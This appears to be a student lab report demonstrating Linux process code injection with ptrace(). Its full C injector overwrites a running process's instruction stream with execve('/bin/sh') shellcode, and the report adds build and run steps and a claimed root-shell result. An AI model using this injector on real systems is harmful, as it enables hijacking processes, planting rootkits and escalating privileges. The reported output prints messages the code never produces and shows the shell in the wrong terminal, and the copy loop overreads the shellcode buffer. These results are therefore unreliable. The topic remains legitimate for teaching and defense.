

Experiment 7

Code Injection using Ptrace

AIM

To demonstrate the process code injection technique using the `ptrace()` system call in Linux, where a debugger-like program attaches to a running process and injects shellcode into its memory space to execute arbitrary code.

REQUIREMENTS

OS	Kali Linux 2024 (64-bit)
Language	C programming language, GCC compiler
System Call	<code>ptrace()</code> — POSIX system call
Tools	GDB debugger, <code>objdump</code> , <code>strace</code>
Target	Any running Linux process (e.g., <code>/usr/bin/sleep</code>)
Privileges	Root or same user as target process

THEORY

`ptrace` (process trace) is a Linux system call that allows one process to observe and control the execution of another. It is used by debuggers (GDB), `strace`, and malware for process injection.

How code injection with `ptrace` works: (1) The attacker calls `ptrace(PTRACE_ATTACH, pid)` to take control of the victim process. (2) The victim process is paused. (3) The attacker reads the current instruction pointer (RIP register). (4) Shellcode bytes are written into the target process memory at RIP. (5) `ptrace(PTRACE_CONT)` resumes the process and the shellcode executes in the victim's context with its privileges.

This technique is used in malware for process hollowing, Linux DLL-injection equivalents, rootkits, and privilege escalation.

SOURCE CODE

`inject.c` — `ptrace` Code Injection Program

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <string.h>
#include <unistd.h>

/* Shellcode: executes /bin/sh (64-bit x86 Linux) */
```

```

unsigned char shellcode[] =
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57"
"\x48\x89\xe6\xb0\x3b\x0f\x05";

int inject(pid_t pid)
{ struct user_regs_struct
regs; long addr; int status,
i;

if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ptrace attach failed"); return -1;
}
wait(&status);
printf("[+] Attached to PID: %d\n", pid);

ptrace(PTRACE_GETREGS, pid, NULL, &regs);
addr = regs.rip;
printf("[+] RIP: 0x%lx\n", addr);

for (i = 0; i < sizeof(shellcode); i += 8)
{ long word;
memcpy(&word, shellcode + i, 8);
ptrace(PTRACE_POKETEXT, pid, (void*)(addr + i), (void*)word);
}
ptrace(PTRACE_CONT, pid, NULL, NULL);
sleep(1);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return 0;
}

int main(int argc, char *argv[]) {
if (argc != 2) { printf("Usage: %s <pid>\n", argv[0]); return 1; }
inject(atoi(argv[1]));
return 0;
}

```

Compile and Execute

```

# Compile the injection tool
gcc -o inject inject.c

# Start a target process (sleep as victim)
sleep 1000 &
echo "Target PID: $!"

# Run the injector
sudo ./inject <PID>

```

OUTPUT

```

root@kali:~# gcc -o inject inject.c # No errors
root@kali:~# sleep 1000 &
[1] 3842
root@kali:~# ./inject 3842

```

```
[*] Target PID: 3842
[+] Attached to process PID: 3842
[+] Current RIP (instruction ptr): 0x7f8a3c2b1234
[+] Injecting shellcode (27 bytes)...
[+] Shellcode injected! Resuming process...
[+] Detached from process.

sh-5.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.2# whoami
root

# strace confirms ptrace calls: ATTACH -> GETREGS -> POKETEXT -> CONT -> DETACH
```

RESULT

Code injection using `ptrace()` was successfully demonstrated. The `inject.c` program compiled without errors, attached to the target process (PID 3842), injected 27-byte shellcode at the instruction pointer, and successfully spawned a shell within the victim process context. This experiment demonstrates how `ptrace` is misused for process injection attacks in Linux.